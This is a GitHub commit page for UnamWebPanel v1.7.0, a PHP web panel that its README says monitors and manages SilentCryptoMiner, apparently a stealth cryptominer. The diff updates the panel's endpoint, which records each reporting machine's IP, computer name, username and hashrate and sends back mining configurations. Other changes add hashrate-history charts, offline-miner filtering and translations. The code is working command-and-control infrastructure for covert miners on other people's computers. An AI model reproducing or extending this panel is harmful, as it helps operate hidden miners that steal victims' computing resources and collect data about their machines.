Skip to content

Commit

Permalink
Updated to v1.7.0
Browse files Browse the repository at this point in the history
* Greatly improved database performance
* Greatly improved endpoint performance
* Added configurable hashrate history feature
* Added "Total Hashrate" graphs for each algorithm
* Added individual "Hashrate History" to each miner
* Added miner status statistics
* Fixed datatable width scaling
* Added "Hide Offline Miners" option
* Fixed status priority for offline and error statuses
* Added Russian translation (marat2509)
* Added Ukrainian translation (Zem0rt)
  • Loading branch information
UnamSanctam committed Dec 26, 2022
1 parent 4064da1 commit 6db3f51
Show file tree
Hide file tree
Showing 23 changed files with 863 additions and 250 deletions.
12 changes: 12 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,15 @@
### 1.7.0 (25/12/2022)
* Greatly improved database performance
* Greatly improved endpoint performance
* Added configurable hashrate history feature
* Added "Total Hashrate" graphs for each algorithm
* Added individual "Hashrate History" to each miner
* Added miner status statistics
* Fixed datatable width scaling
* Added "Hide Offline Miners" option
* Fixed status priority for offline and error statuses
* Added Russian translation (marat2509)
* Added Ukrainian translation (Zem0rt)
### 1.6.0 (01/06/2022)
* Added support for reporting the executable name of the program that triggered "Stealth" and displaying it in the status text
* Added offline miner removal tool which removes miners who have been offline for longer than the chosen number of days
Expand Down
16 changes: 15 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<img src="https://github.com/UnamSanctam/UnamWebPanel/blob/master/UnamWebPanel.png?raw=true">

# UnamWebPanel v1.6.0
# UnamWebPanel v1.7.0

A web panel currently used to optionally monitor and manage the [SilentCryptoMiner](https://github.com/UnamSanctam/SilentCryptoMiner). Might support any other projects I release in the future as well.

Expand Down Expand Up @@ -38,6 +38,18 @@ You can find the wiki [here](https://github.com/UnamSanctam/SilentCryptoMiner/wi

## Changelog

### 1.7.0 (25/12/2022)
* Greatly improved database performance
* Greatly improved endpoint performance
* Added configurable hashrate history feature
* Added "Total Hashrate" graphs for each algorithm
* Added individual "Hashrate History" to each miner
* Added miner status statistics
* Fixed datatable width scaling
* Added "Hide Offline Miners" option
* Fixed status priority for offline and error statuses
* Added Russian translation (marat2509)
* Added Ukrainian translation (Zem0rt)
### 1.6.0 (01/06/2022)
* Added support for reporting the executable name of the program that triggered "Stealth" and displaying it in the status text
* Added offline miner removal tool which removes miners who have been offline for longer than the chosen number of days
Expand Down Expand Up @@ -70,6 +82,8 @@ You can find the wiki [here](https://github.com/UnamSanctam/SilentCryptoMiner/wi
* **[Kolhax](https://github.com/Kolhax)** - French Translation
* **[leisefuxX](https://github.com/leisefuxX)** - German Translation
* **[Werlrlivx](https://github.com/Werlrlivx)** - Polish Translation
* **[marat2509](https://github.com/marat2509)** - Russian Translation
* **[Zem0rt](https://github.com/Zem0rt)** - Ukrainian Translation

## Disclaimer

Expand Down
61 changes: 8 additions & 53 deletions UnamWebPanel/__UNAM_LIB/unam_lib.php
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,9 @@
/* Made by Unam Sanctam https://github.com/UnamSanctam */

class unam_lib {
private static $debugStart;
private static $usingCustomErrorHandler;

function __construct() {
self::$debugStart = microtime(true);
self::$usingCustomErrorHandler = false;
}

Expand Down Expand Up @@ -94,11 +92,12 @@ function unam_dbUpdate($conn, $tableName, $colsArray, $where_array)

try {
$s = $conn->prepare("UPDATE $tableName SET ".implode(', ', $UpdateString)." WHERE ".implode(' AND ', $where_flag));
return $s->execute($ExecuteString);
$s->execute($ExecuteString);
return $s->rowCount() > 0;
}
catch(PDOException $e){
self::unam_writeError("</br><b>An error occured: </b> </br>{$e->getMessage()}");
return [];
return false;
}
}

Expand Down Expand Up @@ -134,7 +133,7 @@ function unam_filterParameter($param, $maxlength = 1000, $default = ''){
if(!isset($_POST[$param]) && !isset($_GET[$param])) {
return $default;
}
$fparam = self::unam_arrayWalkRecursive($_POST[$param] ?? $_GET[$param], function(&$v){ global $maxlength; $v = strip_tags(substr($v, $maxlength)); });
$fparam = self::unam_arrayWalkRecursive($_POST[$param] ?? $_GET[$param], function(&$v) use(&$maxlength){ $v = strip_tags(substr($v, 0, $maxlength)); });
return (count($fparam) == 1 ? $fparam[0] : $fparam);
}

Expand Down Expand Up @@ -166,47 +165,6 @@ function unam_validVar($var){
return true;
}

function unam_recursiveGenerator($conn, $tableName, $fieldName, $length=32, $numbersonly=false)
{
$id = self::unam_generateRandomString($length, $numbersonly);
if(self::unam_dbSelect($conn, $tableName, $fieldName, [$fieldName=>$id])){
self::unam_recursiveGenerator($conn, $tableName, $fieldName, $length);
}
else{
return $id;
}
return false;
}

function unam_generateRandomString($length=32, $numbersonly=false) {
return substr(str_shuffle(str_repeat($x='0123456789'.($numbersonly == false ? 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' : ''), ceil($length/strlen($x)) )),1,$length);
}

function unam_multiStrpos($string, $check, $getResults = false)
{
$result = array();
$check = (array) $check;

foreach ($check as $s)
{
$pos = strpos($string, $s);

if ($pos !== false)
{
if ($getResults)
{
$result[$s] = $pos;
}
else
{
return $pos;
}
}
}

return empty($result) ? false : $result;
}

function unam_checkCondition($cond, $resp){
if($cond === true){
self::unam_echoFailure($resp);
Expand All @@ -221,15 +179,14 @@ function unam_echoFailure($errormsg){
echo json_encode(['response'=>'failure', 'errormsg'=>$errormsg]);
}


function unam_getBrowserLanguages($available = [], $default = 'en') {
if (isset( $_SERVER[ 'HTTP_ACCEPT_LANGUAGE' ])) {
$langs = explode( ',', $_SERVER['HTTP_ACCEPT_LANGUAGE'] );
if(empty($available)) {
return $langs[0];
}
foreach($langs as $lang){
$lang = substr( $lang, 0, 2 );
$lang = substr($lang, 0, 2);
if(in_array( $lang, $available)){
return $lang;
}
Expand Down Expand Up @@ -264,7 +221,9 @@ function unam_customErrorHandler($errno, $errstr, $error_file, $error_line, $err
$errout .= "<br/><b>Error was: </b> [$errno] $errstr";
$errout .= "<br/><details><summary><b>Error context:</b></summary><p>".(is_array($error_context) ? json_encode($error_context) : $error_context)."</p></details>";
$errout .= "<br/><b>Remote IP:</b> $err_hostname_ip";
$errout .= "<br/><b>Session Data:</b> ".json_encode($_SESSION);
if(isset($_SESSION)) {
$errout .= "<br/><b>Session Data:</b> " . json_encode($_SESSION);
}
$errout .= "<br/>Ending Script";
$errout .= "<hr />";

Expand All @@ -275,8 +234,4 @@ function unam_customErrorHandler($errno, $errstr, $error_file, $error_line, $err
function unam_writeError($errormessage, $debug_trace=true){
file_put_contents(__DIR__."/Logs/php-error-".date('m-d-Y').".html", "ERROR: $errormessage ".($debug_trace ? "<details><summary><b>Debug Trace: </b></summary><p>".json_encode(array_slice(debug_backtrace(), 1)) .'</p></details></br>': ''), FILE_APPEND);
}

function unam_debugOutput($id){
file_put_contents(__DIR__."/Logs/php-exec-time-".date('m-d-Y').".html", "{$id}: ".(microtime(true) - self::$debugStart)." SEC </br>", FILE_APPEND);
}
}
21 changes: 21 additions & 0 deletions UnamWebPanel/api/ajax-actions.php
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
<?php
/* Made by Unam Sanctam https://github.com/UnamSanctam */
require_once dirname(__DIR__).'/security.php';
require_once dirname(__DIR__).'/assets/php/templates.php';

if(!empty(getParam('method'))) {
switch (getParam('method')) {
Expand Down Expand Up @@ -32,5 +33,25 @@
$base->unam_dbDelete(getConn(), 'miners', ['$CUSTOM'=>"ms_lastConnection < datetime('now', '-".getParam('amount')." day')"]);
$base->unam_echoSuccess("{$larr['Success']}!");
break;
case 'miner-offline':
$_SESSION['hide_offline_miners'] = !$_SESSION['hide_offline_miners'];
$base->unam_echoSuccess("{$larr['Success']}!");
break;
case 'miner-history':
$base->unam_checkCondition(!getParam('index'), "{$larr['Invalid']} ID.");
$hashratecon = getConn()->prepare("SELECT hr_algorithm, SUM(hr_hashrate) AS hashrate, hr_date FROM hashrate WHERE hr_minerID = ? GROUP BY hr_date, hr_algorithm ORDER BY hr_date");
$hashratecon->execute([getParam('index')]);
$hashrate = $hashratecon->fetchAll(PDO::FETCH_ASSOC);

if ($hashrate) {
$hashratearr = [];
foreach ($hashrate as $value) {
$hashratearr[] = ['x' => date('Y-m-d H:i:s', $value['hr_date']), 'y' => $value['hashrate']];
}
$base->unam_echoSuccess(templateHashrateChart($hashrate[0]['hr_algorithm'], $hashratearr));
} else {
$base->unam_echoFailure($larr['no_hashrate_for_miner']);
}
break;
}
}
2 changes: 1 addition & 1 deletion UnamWebPanel/api/ajax-sitewide.php
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

switch(getParam('method')){
case 'lang-change':
$base->unam_checkCondition(!in_array(getParam('newlangID'), $config['languages']), 'Language ID invalid.');
$base->unam_checkCondition(!in_array(getParam('newlangID'), array_keys($config['languages'])), 'Language ID invalid.');
$_SESSION['lang'] = getParam('newlangID');
echo json_encode(['response' => 'success']);
break;
Expand Down
15 changes: 11 additions & 4 deletions UnamWebPanel/api/custom-table.php
Original file line number Diff line number Diff line change
Expand Up @@ -14,10 +14,10 @@ function db_setFilters(&$options, $alias, $allowedfilters){
if(!empty($filters) && is_array($filters)){
foreach($filters as $filter=>$val){
if(!empty($val) && in_array($filter, $allowedfilters)){
$options['where'][] = [
'db' => $alias.$filter,
'op' => '=',
'value' => $val];
$options['db_where'][] = [
'db_column' => $alias.$filter,
'db_operation' => '=',
'db_value' => $val];
}
}
}
Expand All @@ -41,6 +41,13 @@ function db_setFilters(&$options, $alias, $allowedfilters){
}
}
db_setFilters($options, ($table['db_filters_prefix'] ?? ''), [($table['db_allowed_filters'] ?? '')]);

if(getParam('tableid') === 'miner-table' && isset($_SESSION['hide_offline_miners']) && $_SESSION['hide_offline_miners'] == true) {
$options['db_where'][] = [
'db_column' => 'ms_lastConnection',
'db_operation' => '<',
'db_value' => "datetime('now', '-3 minute')"];
}
}
break;
}
Expand Down
44 changes: 33 additions & 11 deletions UnamWebPanel/api/endpoint.php
Original file line number Diff line number Diff line change
@@ -1,13 +1,19 @@
<?php
/* Made by Unam Sanctam https://github.com/UnamSanctam */
require_once(dirname(__DIR__, 1) . '/assets/php/session-header.php');
require_once dirname(__DIR__, 1).'/class/class.base.php';
$base = new base();

$base->unam_toggleCustomErrorHandling();

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE) {
echo "Endpoint is up and running. This page is shown since no data was posted during the request or the data posted was invalid.";
return;
}

$hostaddress = $_SERVER["REMOTE_ADDR"] ?? '127.0.0.1';
$currentDate = date('Y-m-d H:i:s');

function getData($key){
global $data;
return $data[$key] ?? '';
Expand All @@ -16,15 +22,14 @@ function getData($key){
$uqhash = substr(md5(getData('computername').getData('cpu')), 0, 16);
$type = getData('type');
$id = getData('id');

$miner = $base->unam_dbSelect(getConn(), 'miners', 'ms_minerID, ms_config', ['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type]);
$hashrate = round(getData('hashrate') ?: 0.0, 2);

$fields = [
'ms_ip'=>$hostaddress,
'ms_status'=>getData('status'),
'ms_computername'=>getData('computername'),
'ms_username'=>getData('username'),
'ms_hashrate'=>getData('hashrate'),
'ms_hashrate'=>$hashrate,
'ms_pool'=>getData('pool'),
'ms_port'=>getData('port'),
'ms_algorithm'=>getData('algo'),
Expand All @@ -41,12 +46,29 @@ function getData($key){
'ms_lastConnection'=>$currentDate
];

if ($miner) {
$base->unam_dbUpdate(getConn(), 'miners', $fields, ['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type]);
} else {
$base->unam_dbInsert(getConn(), 'miners', array_merge(['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type, 'ms_config'=>($type == 'xmrig' ? 1 : 2)], $fields));
$miner = $base->unam_dbSelect(getConn(), 'miners', 'ms_minerID, ms_config', ['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type]);
getConn()->beginTransaction();
try {
if (!$base->unam_dbUpdate(getConn(), 'miners', $fields, ['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type])) {
$base->unam_dbInsert(getConn(), 'miners', array_merge(['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type, 'ms_config'=>($type == 'xmrig' ? 1 : 2)], $fields));
}

$configcon = getConn()->prepare("SELECT cf_data, ms_minerID FROM miners INNER JOIN configs ON ms_config = cf_configID WHERE ms_uqhash = ? AND ms_rid = ? AND ms_type = ?");
$configcon->execute([$uqhash, $id, $type]);
$configres = $configcon->fetch(PDO::FETCH_ASSOC);

if($config['hashrate_history_enable'] && $configres && $configres['ms_minerID']){
if($config['hashrate_history_limit'] > 0) {
$cleanhistory = getConn()->prepare("DELETE FROM hashrate WHERE ROWID IN (SELECT ROWID FROM hashrate WHERE hr_minerID = ? ORDER BY ROWID DESC LIMIT -1 OFFSET ?)");
$cleanhistory->execute([$configres['ms_minerID'], $config['hashrate_history_limit']-1]);
}
$addhistory = getConn()->prepare("INSERT INTO hashrate (hr_minerID, hr_algorithm, hr_hashrate, hr_date) VALUES (?, ?, ?, ?)");
$addhistory->execute([$configres['ms_minerID'], getData('algo'), floor($hashrate), strtotime(date('Y-m-d H:i:00'))]);
}

getConn()->commit();
}
catch(PDOException $e) {
getConn()->rollBack();
}

$config = $base->unam_dbSelect(getConn(), 'configs', 'cf_data', ['cf_configID' => $miner['ms_config'] ?? 0]);
echo $config['cf_data'] ?: json_encode(['response'=>'ok']);
echo $configres['cf_data'] ?? json_encode(['response'=>'ok']);
17 changes: 17 additions & 0 deletions UnamWebPanel/assets/css/custom.css
Original file line number Diff line number Diff line change
Expand Up @@ -257,4 +257,21 @@ input:checked + .round-slider:before {
-webkit-transform: translateX(18px);
-ms-transform: translateX(18px);
transform: translateX(18px);
}

.card .card-tools label:not(:last-child) {
margin-right: 8px;
}

.dark-mode .bg-warning, .dark-mode .bg-warning>a {
color: #ffffff !important;
}

.dark-mode .bg-success {
background-color: #28a745!important;
}

.statistic-cards {
font-size: 1.2rem;
font-weight: 600;
}
Loading

0 comments on commit 6db3f51

Please sign in to comment.